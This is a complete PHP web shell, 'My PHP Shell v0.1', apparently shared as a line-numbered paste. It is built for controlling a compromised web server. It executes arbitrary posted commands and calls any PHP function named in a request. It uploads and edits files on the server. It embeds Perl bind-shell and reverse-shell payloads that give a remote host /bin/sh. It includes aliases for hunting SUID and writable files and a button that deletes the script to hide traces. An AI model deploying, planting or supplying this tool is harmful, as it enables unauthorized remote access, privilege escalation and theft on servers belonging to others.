1. <?php
  2. /*
  3. My PHP Shell - A very simple web shell (very much inspired from r57shell - rst team)
  4. You can find a copy of this script on http://students.info.uaic.ro/~alexandru.plugaru/projects.html
  5. Copyright (C) 2007 Alexandru Plugaru (alexandru.plugaru(guess what's here)infoiasi.ro)
  6.  
  7. This program is free software; you can redistribute it and/or
  8. modify it under the terms of the GNU General Public License
  9. as published by the Free Software Foundation; either version 2
  10. of the License, or (at your option) any later version.
  11.  
  12. This program is distributed in the hope that it will be useful,
  13. but WITHOUT ANY WARRANTY; without even the implied warranty of
  14. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  15. GNU General Public License for more details.
  16.  
  17. You should have received a copy of the GNU General Public License
  18. along with this program; if not, write to the Free Software
  19. Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
  20. */
  21.  
  22. /*==================BEGIN_INIT==============*/
  23. define("VERSION", "v0.1");
  24. @session_start();
  25. @set_time_limit(0);
  26. @set_magic_quotes_runtime(0);
  27. @error_reporting(0);
  28. @chdir($_POST['cwd']);
  29. /*==================END_INIT===============*/
  30.  
  31. /*==================BEGIN_CONFIG============*/
  32. define('DEFAULT_PORT', 5454);                               // Default port for bindshell and back connect
  33. define('MY_IP',$_SERVER['REMOTE_ADDR']);                        // Your ip address (default for back connect)
  34. define("BUFFER_ENABLED", true);                             // Terminal buffering. Use true to enable or false to disable
  35. define("BUFFER_MAX_LINES", 300);                                // Max lines to be saved
  36.  
  37. $aliases=array(                                     // Command aliases
  38.     //Alias                     Command
  39.     array("Find some file in /"         =>"find / -type f -name "),
  40.     array("Find all writable dirs/files in /"   =>"find / -perm -2 -ls"),
  41.     array("Find all suid files in /"            =>"find / -type f -perm -04000 -ls"),
  42.     array("Find all sgid files in /"            =>"find / -type f -perm -02000 -ls"),
  43.     array("Show open ports"         =>"netstat -an | grep -i listen"),
  44.     array("Show NIC configuration"      =>"ip addr show"),
  45. );
  46. /*==================END_CONFIG=============*/
  47.  
  48. foreach ($aliases as $n => $alias_array){
  49.     $aliases_str.="<option value=$n>".key($alias_array)."</option>\n";
  50.     $my_aliases .="myAliases[$n]='". $alias_array[key($alias_array)] . "';\n\t\t";
  51. }
  52. $content=array(
  53.     "ID"                =>execute_simple("id"),
  54.     "UNAME"         =>execute_simple("uname -a"),
  55.     "DATE"              =>execute_simple("date"),
  56.     "SERVER_SIGNATURE"  =>$_SERVER['SERVER_SIGNATURE'],
  57.     "PORT"              =>DEFAULT_PORT,
  58.     "MY_IP"         =>MY_IP,
  59.     "PWD"               =>getcwd(),
  60.     "RESULT"            =>"",
  61.     "CMD"               =>$_POST['cmd'],
  62.     "ALIASES"           =>$aliases_str,
  63.     "MY_ALIASES"            =>$my_aliases,
  64.     "PHP_SELF"          =>$_SERVER['PHP_SELF'],
  65. );
  66.  
  67.  
  68. /*
  69.     From here edit if you know what you are doing
  70. */
  71. if($_POST['cmd']!=""){
  72.     if(preg_match('/^clear/',$_POST['cmd'])){               // Clearing the buffer
  73.         $_SESSION['buf'] = array();
  74.         $_SESSION['buf_size'] = 0;
  75.     }else if(preg_match('/^cd/',$_POST['cmd'])){
  76.         /*
  77.             If we got some "cd" command the behavior should be like in a real shell enviroment
  78.         */
  79.         if($_POST['cmd']=='cd'){
  80.             @chdir(dirname($_SERVER['SCRIPT_FILENAME']));//home dir :)
  81.         }
  82.         else{
  83.             $the_dir=substr($_POST['cmd'],3);
  84.             $res=change_dir($the_dir);
  85.             if($the_dir==$res){
  86.                 chdir($the_dir);
  87.             }else{
  88.                 $result_cmd=$res;
  89.             }
  90.         }
  91.         $content['PWD'] = getcwd();
  92.     }else{
  93.         $my_string = load_buffer($_SESSION['buf']);
  94.         $my_cmd=execute_with_trap($_POST['cmd']);
  95.         save_buffer($_SESSION['buf'], $_SESSION['buf_size'], "$ " . $_POST['cmd'] . "\n");
  96.         save_buffer($_SESSION['buf'], $_SESSION['buf_size'], $my_cmd);
  97.         $content['RESULT'] = $my_string ."$ " . $_POST['cmd'] . "\n" . $my_cmd;
  98.     }
  99. }
  100. if($_POST['ajax']=="1"){                        // We got here an httpRequest so we don't display all shit
  101.     if($_POST['fn']!=""){                      
  102.         if($_POST['nr']!=""){                   //function parameters? how many?
  103.             $nr=(int)$_POST['nr'];
  104.             for($i=0;$i<=$nr;$i++){
  105.                 $params[]=$_POST['parm'.$i];
  106.             }
  107.             $ret=call_user_func_array($_POST['fn'],$params);
  108.         }else{
  109.             $ret=call_user_func($_POST['fn']);
  110.         }
  111.     }
  112.     if($ret)        echo $ret;  // Display the response
  113. }else{
  114.     if($_POST['submit'] != ""){
  115.         switch ($_POST['submit']){
  116.             case "Upload":
  117.                 $GLOBALS['error'] = upload();
  118.                 display($content);
  119.                 break;
  120.             case "Edit":
  121.                 display_editor($_POST['edit_file']);
  122.                 break;
  123.             case "Save":
  124.                 save_file();
  125.                 display($content);
  126.                 break;
  127.             default:
  128.                 display($content);
  129.                 break;
  130.         }
  131.     }else{
  132.         display($content);
  133.     }
  134.    
  135. }
  136.  
  137. /*=====================FUNCTIONS====================*/
  138.  
  139. /**
  140.  * Simple command execution
  141.  *
  142.  * @param String $cmd
  143.  * @return String
  144.  */
  145. function execute_simple($cmd){
  146.     $out=shell_exec($cmd);
  147.     $out=str_replace("\n","",$out);
  148.     return $out;
  149. }
  150. /**
  151.  * Execute command and return the result
  152.  *
  153.  * @param String$cmd
  154.  * @return unknown
  155.  */
  156. function execute_with_trap($cmd)
  157. {
  158.     if ($stderr){
  159.         $tmpfile = tempnam('/tmp', 'tmp');
  160.         $cmd .= " 1> $tmpfile 2>&1; cat $tmpfile; rm $tmpfile";
  161.     }
  162.     return htmlspecialchars(shell_exec($cmd), ENT_COMPAT, 'UTF-8');
  163. }
  164. /**
  165.  * Change directory
  166.  *
  167.  * @param String $dir
  168.  * @return String
  169.  */
  170. function change_dir($dir){
  171.     if(is_dir($dir)){
  172.         if(is_readable($dir) && is_executable($dir))    return $dir;
  173.         else                            return "You don't have permissions to access ".$dir;
  174.     }else{
  175.         return $dir . " is not a directory!";
  176.     }
  177. }
  178. /**
  179.  * Back connect perl script
  180.  *
  181.  * @param String $ip
  182.  * @param String $port
  183.  */
  184. function bind_shell_perl($port){ //from r57 I think..
  185.     $perl_bs=<<<PERL_BIND_SHELL
  186. use POSIX qw(setsid);
  187. use Socket;
  188. $| = 1;
  189. defined(my \$pid = fork) or die "Can't fork: $!";
  190. exit if \$pid;
  191. setsid or die "Can't start a new session: $!";
  192. umask 0;
  193.  
  194. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
  195. setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  196. bind(S,sockaddr_in($port,INADDR_ANY));
  197. listen(S,50);
  198. accept(X,S);
  199. open STDIN,"<&X";
  200. open STDOUT,">&X";
  201. open STDERR,">&X";
  202. system("/bin/sh -i");
  203. close X;
  204. PERL_BIND_SHELL;
  205.     $tmpfile = tempnam('/tmp', '5454');
  206.     $fp=fopen($tmpfile,"w");fwrite($fp,$perl_bs);fclose($fp);//writing perl payload to tempfile
  207.     $cmd= "perl $tmpfile";
  208.     shell_exec($cmd);
  209.     execute_simple("rm -f $tmpfile");
  210. }
  211. /**
  212.  * Back connect perl script
  213.  *
  214.  * @param String $ip
  215.  * @param String $port
  216.  */
  217. function back_connect_perl($ip,$port){
  218.     $perl_bs=<<<PERL_BIND_SHELL
  219. #!/usr/bin/perl
  220. use POSIX qw(setsid);
  221. use Socket;
  222.  
  223. \$system= '/bin/sh -i';
  224. \$target="$ip";
  225. \$port="$port";
  226.  
  227. defined(my \$pid = fork) or die "Can't fork: \$!";
  228. exit if \$pid;
  229. setsid or die "Can't start a new session: \$!";
  230. umask 0;
  231.  
  232. \$iaddr=inet_aton(\$target) || die("Error: \$!\n");
  233. \$paddr=sockaddr_in(\$port, \$iaddr) || die("Error: \$!\n");
  234. \$proto=getprotobyname('tcp');
  235.  
  236. socket(SOCKET, PF_INET, SOCK_STREAM, \$proto) || die("Error: \$!\n");
  237. connect(SOCKET, \$paddr) || die("Error: \$!\n");
  238.  
  239. open(STDIN, ">&SOCKET");
  240. open(STDOUT, ">&SOCKET");
  241. open(STDERR, ">&SOCKET");
  242.  
  243. system(\$system);
  244.  
  245. close(STDIN);
  246. close(STDOUT);
  247. close(STDERR);
  248. PERL_BIND_SHELL;
  249.     $tmpfile = tempnam('/tmp', '5454');
  250.     $fp=fopen($tmpfile,"w");fwrite($fp,$perl_bs);fclose($fp);//writing perl payload to tempfile
  251.     $cmd= "perl $tmpfile";
  252.     shell_exec($cmd);
  253.     execute_simple("rm -f $tmpfile");
  254. }
  255. /**
  256.  * Upload a file
  257.  *
  258.  * @return String errors
  259.  * */
  260. function upload(){
  261.     if(is_dir($_POST['file_path'])){
  262.         if( is_writable( $_POST['file_path'] ) ){
  263.             if( !file_exists( $_POST['file_path'] . "/" . $_FILES['file']['name'] ) ){
  264.                 move_uploaded_file( $_FILES['file']['tmp_name'], $_POST['file_path'] . "/" . $_FILES['file']['name'] );
  265.             }else {
  266.                 return "File allready exists!";
  267.             }
  268.         }else{
  269.             return "You do not have write permissions to this dir";
  270.         }
  271.     }else{
  272.         if(!file_exists($_POST['file_path'])){
  273.             if( is_writable( dirname( $_POST['file_path'] ) ) ){
  274.                 move_uploaded_file( $_FILES['file']['tmp_name'], $_POST['file_path']);
  275.             }else{
  276.                 return "You do not have write permissions to this dir";
  277.             }
  278.         }else{
  279.             return "File allready exists!";
  280.         }
  281.     }
  282. }
  283. /**
  284.  * Getting previous commands buffer
  285.  *
  286.  * @param Array $buffer
  287.  * @return String
  288.  * */
  289. function load_buffer(&$buffer){
  290.     if(!is_array($buffer)) $buffer = array();
  291.     $data = join("\n", $buffer);
  292.     $data .= "\n\n";
  293.     return $data;
  294. }
  295. /**
  296.  * Putting the buffer
  297.  *
  298.  * @param Array $buffer
  299.  * @param Int $buffer_len
  300.  * @param String $command
  301.  * */
  302. function save_buffer(&$buffer, &$buffer_len, $lines){
  303.     if(!is_int($buffer_len)) $buffer_len = 0;
  304.     $lines = explode("\n", $lines);
  305.     $len = count($lines);
  306.     if(($buffer_len + $len) > BUFFER_MAX_LINES){
  307.         $drop = $buffer_len + $len - BUFFER_MAX_LINES;
  308.         $buffer_len -=$drop;
  309.         while($drop--){
  310.             array_shift($buffer);
  311.         }
  312.     }
  313.     $buffer_len += $len;
  314.     while($len--){
  315.         array_push($buffer, array_shift($lines));
  316.     }
  317. }
  318. /**
  319.  * Unseting the sessiong and destroing the script
  320.  *
  321.  **/
  322. function destroy(){ //this function deletes the script and clears sessions
  323.     $_SESSION = array();
  324.     session_destroy();
  325.     @unlink($_SERVER['SCRIPT_FILENAME']);
  326. }
  327. /**
  328.  * Save edited file
  329.  *
  330.  */
  331. function save_file(){
  332.     global $error;
  333.     $file_path = $_POST['filepath'];
  334.     $content = $_POST['content'];
  335.     $content = stripslashes($content);
  336.     if(!is_dir($file_path)){
  337.         if(file_exists($file_path)){
  338.             if(is_writable($file_path)){
  339.                 $fp = fopen($file_path,"w");
  340.                 fwrite($fp,$content);
  341.                 fclose($fp);
  342.             }else {
  343.                 $error = "'$file_path' is not writable!";
  344.             }
  345.         }else{
  346.             if(is_writable(dirname($file_path))){
  347.                 $fp = fopen($file_path,"w");
  348.                 fwrite($fp,$content);
  349.                 fclose($fp);
  350.             }else{
  351.                 $error = "$file_path' is not writable!";
  352.             }
  353.         }
  354.     }else {
  355.         $error = "'$file_path' is a directory!";
  356.     }
  357. }
  358. /**
  359.  * Display editor
  360.  */
  361. function display_editor($file){
  362.     if(!is_dir($file)){
  363.         if(is_readable($file)){
  364.             if(is_writable($file)){
  365.                 $content = file_get_contents($file);
  366.             }else {
  367.                 $error = "'$file' is not writable!";
  368.             }
  369.         }else {
  370.             $error = "'$file' is not readable!";
  371.         }
  372.     }else {
  373.         $error = "'$file' is a directory!";
  374.     }
  375.     ob_start();
  376. ?>
  377. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  378. <html>
  379. <head>
  380. <title>My PHP Shell <?echo VERSION;?></title>
  381. <style>
  382.     body    {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; color:#FFF; background-color: #555;}
  383.     table   {background:#555;}
  384.     textarea {background:#555000 none repeat scroll 0%;color:#0d0;font-family:monospace;font-size:11px;width:100%;height:100%;font-weight:bold;}
  385.     input {background:#555;border: #CCC 1px solid;color: #FFF;}
  386.     select{background:#555;border: #CCC 1px solid;color: #FFF;font-size:14px;}
  387.     input.redButton{background:#f00; color:#555;position: absolute; right: 10px; top: 2px;}
  388.     .error{color:#900; font-weight: bold; font-size: 12px;border: 1px solid #FFD700;; background: #ffa;}
  389. </style>
  390. </head>
  391. <body>
  392.     <?if($error !=""){?><div align="center" class="error"><?echo $error;?></div><br /><?}?>
  393.     <form method="post" action="" enctype="multipart/form-data" >
  394.     <div align="left">
  395.         <strong>Save to file path: </strong><input type="text" style="width: 90%;" name="filepath" value="<?echo $file;?>" /><br />
  396.     </div>
  397.     <div align="center" style="clear: both;">
  398.         <textarea name="content" rows="39" wrap="off"><?echo $content;?></textarea><br />
  399.     </div>
  400.     <div><input style="float:right;" type="submit" name="submit" value="Save"><input style="float: left;" type="submit" name="submit" value="Go back" onclick="window.location='';return false;"></div>
  401.     </form>
  402. </body>
  403. </html>
  404. <?php
  405. $html_content=ob_get_contents();
  406. ob_end_clean();
  407. echo $html_content;
  408. }
  409. /**
  410.  * Output function
  411.  *
  412.  **/
  413. function display ($vars){
  414.     global $error;
  415.     ob_start();
  416. ?>
  417. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  418. <html>
  419. <head>
  420. <title>My PHP Shell <?echo VERSION;?></title>
  421. <style>
  422.     body    {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9px; color:#FFF; background-color: #555;}
  423.     table   {background:#555;}
  424.     textarea {background:#555000 none repeat scroll 0%;color:#0d0;font-family:monospace;font-size:11px;width:98%;font-weight:bold;}
  425.     input {background:#555;border: #CCC 1px solid;color: #FFF;}
  426.     select{background:#555;border: #CCC 1px solid;color: #FFF;font-size:14px;}
  427.     input.redButton{background:#f00; color:#555;position: absolute; right: 10px; top: 2px;}
  428.     .error{color:#900; font-weight: bold; font-size: 12px;border: 1px solid #FFD700;; background: #ffa;}
  429. </style>
  430. <script language="Javascript">
  431. function init(){
  432.     //just comment out this two lines to disable bottom autofocus of the textarea
  433.     var objControl=document.getElementById("textarea_cmd");
  434.     objControl.scrollTop = objControl.scrollHeight;
  435.     document.getElementById('cmd').focus();
  436. }
  437. function destroy_script(){
  438.     if(confirm("Are you sure you want to destroy the script?")){
  439.         httpRequest("POST","{PHP_SELF}",true,"ajax=1&fn=destroy");
  440.     }
  441.     return false;
  442. }
  443. function pasteAlias(nr){
  444.     var myAliases = new Array();
  445.     {MY_ALIASES}
  446.     document.getElementById('cmd').value=myAliases[nr];
  447.     document.getElementById('cmd').focus();
  448. }
  449. var request = null;
  450. function httpRequest(reqType,url,asynch){
  451.     if(window.XMLHttpRequest){
  452.         request = new XMLHttpRequest( );
  453.     } else if (window.ActiveXObject){
  454.         request=new ActiveXObject("Msxml2.XMLHTTP");
  455.         if (! request){
  456.             request=new ActiveXObject("Microsoft.XMLHTTP");
  457.         }
  458.     }
  459.     if(request) {
  460.         if(reqType.toLowerCase( ) != "post") {
  461.             //GET
  462.             initReq(reqType,url,asynch);
  463.         } else {
  464.             //POST
  465.             var args = arguments[3];
  466.             if(args != null && args.length > 0){
  467.                 initReq(reqType,url,asynch,args);
  468.             }
  469.         }
  470.     } else {
  471.         alert("Your browser does not permit the use of all of this application's features!");
  472.     }
  473. }
  474.  
  475. /* Initialize a request object that is already constructed */
  476. function initReq(reqType,url,bool){
  477.     try{
  478.         /*Response handler*/
  479.         request.onreadystatechange=respHandle;
  480.  
  481.         request.open(reqType,url,bool);
  482.         if(reqType.toLowerCase( ) == "post"){
  483.             request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
  484.             request.send(arguments[3]);
  485.         }else{
  486.             request.send(null);
  487.         }
  488.     }catch (errv){
  489.         alert(
  490.         "The application cannot contact "+
  491.         "the server at the moment. "+
  492.         "Please try again in a few seconds.\\n"+
  493.         "Error detail: "+errv.message);
  494.     }
  495. }
  496.  
  497. function respHandle( ){
  498.     if(request.readyState == 4){
  499.         if(request.status == 200){
  500.             document.getElementById("response").display='auto';
  501.             document.getElementById("response").innerHTML=request.responseText;
  502.         }
  503.     }
  504. }
  505. </script>
  506. </head>
  507.  
  508. <body onLoad="init();">
  509. <div>
  510.     <a href="http://students.info.uaic.ro/~alexandru.plugaru/projects.html" style="color:#fff;font-weight:bold;">My PHP Shell v0.1</a>
  511.     <input type="button" class="redButton" value="The RED BUTTON" name="redButton" title="Delete the script" onclick="destroy_script(); return false;">
  512. </div>
  513. <?if($error !=""){?><br /><div align="center" class="error"><?echo $error;?></div><br /><?}?>
  514. <hr>
  515. <div id="response" style="display:none;"></div>
  516. <div>
  517. <table width="100%" style="font-size:11px;">
  518. <tr><td style="color: #CC0000;">uname -a    </td><td>{UNAME}</td></tr>
  519. <tr><td style="color: #CC0000;">id      </td><td>{ID}</td></tr>
  520. <tr><td style="color: #CC0000;">httpd   </td><td>{SERVER_SIGNATURE}</td></tr>
  521. <tr><td style="color: #CC0000;">date    </td><td>{DATE}</td></tr>
  522. <tr><td style="color: #CC0000;">pwd </td><td>{PWD}</td></tr>
  523. </table>
  524. </div>
  525. <hr>
  526.  
  527. <div style="font-size:12px;">Executed:&nbsp;&nbsp;&nbsp;<strong>{CMD}</strong></div>
  528. <hr>
  529. <div align="center">
  530. <textarea name="textarea_cmd" id="textarea_cmd" cols="140" rows="35" readonly="readonly" wrap="off">{RESULT}</textarea><br />
  531. <form id="myForm" name="myForm" method="POST" action="" enctype="multipart/form-data">
  532. <input type="hidden" name="cwd" value="{PWD}">
  533. <select name="alias" onchange="pasteAlias(this.value)"><option value="">Select an alias</option>
  534. {ALIASES}
  535. </select>
  536. <input type="text" size="90" id="cmd" name="cmd" style="font-size:14px;">
  537. <input type="submit" name="command" value="Execute" id="command_button" style="font-size:14px;">
  538. </div>
  539. <hr>
  540.  
  541.  
  542. <!-- Here we have bind,backconnect,file upload,edit file -->
  543. <div align="center">
  544. <div style="display:inline">
  545. <strong>BindShell:</strong>&nbsp;&nbsp;
  546. <input type="text" name="bind_port" id="bind_port" value="{PORT}" size="5"> <input type="submit" name="bind" value="Bind" onclick='httpRequest("POST","{PHP_SELF}",true,"ajax=1&fn=bind_shell_perl&nr=1&parm0=" + document.getElementById("bind_port").value); return false;'>
  547. </div>
  548.  
  549. <!--Separator-->
  550. &nbsp;&nbsp;<strong style="font-size:20px;">|</strong>&nbsp;
  551. <!--Separator-->
  552.  
  553. <div style="display:inline">
  554. <strong>Back-Connect:</strong>&nbsp;&nbsp;
  555. <input type="text" name="back_ip" id="back_ip" value="{MY_IP}" size="10"><strong style="font-size:20px;">:</strong><input type="text" id="back_port" name="back_port" value="{PORT}" size="5"> <input type="submit" name="connect" value="Connect" onclick='httpRequest("POST","{PHP_SELF}",true,"ajax=1&fn=back_connect_perl&nr=2&parm0=" + document.getElementById("back_ip").value + "&parm1=" + document.getElementById("back_port").value); return false;'>
  556. </div>
  557.  
  558. <!--Separator-->
  559. &nbsp;&nbsp;<strong style="font-size:20px;">|</strong>&nbsp;
  560. <!--Separator-->
  561.    
  562. <strong>Upload:</strong>&nbsp;&nbsp;
  563. <input type="file" name="file" size="5">
  564. <input type="text" name="file_path" title='Upload path' value='{PWD}/'>
  565. <input type="submit" name="submit" value="Upload">
  566. <!--Separator-->
  567. &nbsp;&nbsp;<strong style="font-size:20px;">|</strong>&nbsp;
  568. <!--Separator-->
  569. <strong>Edit file:</strong>&nbsp;&nbsp;
  570. <input type="text" name="edit_file" value='{PWD}/'> <input type="submit" name="submit" value="Edit">
  571. </div>
  572. </form>
  573. </body>
  574. </html>
  575. <?php
  576. $html_content=ob_get_contents();
  577. foreach ($vars as $pattern => $value){
  578.     $html_content=str_replace("{".$pattern."}",$value,$html_content); //some template shit...
  579. }
  580. ob_end_clean();
  581. echo $html_content;
  582. }
  583. ?>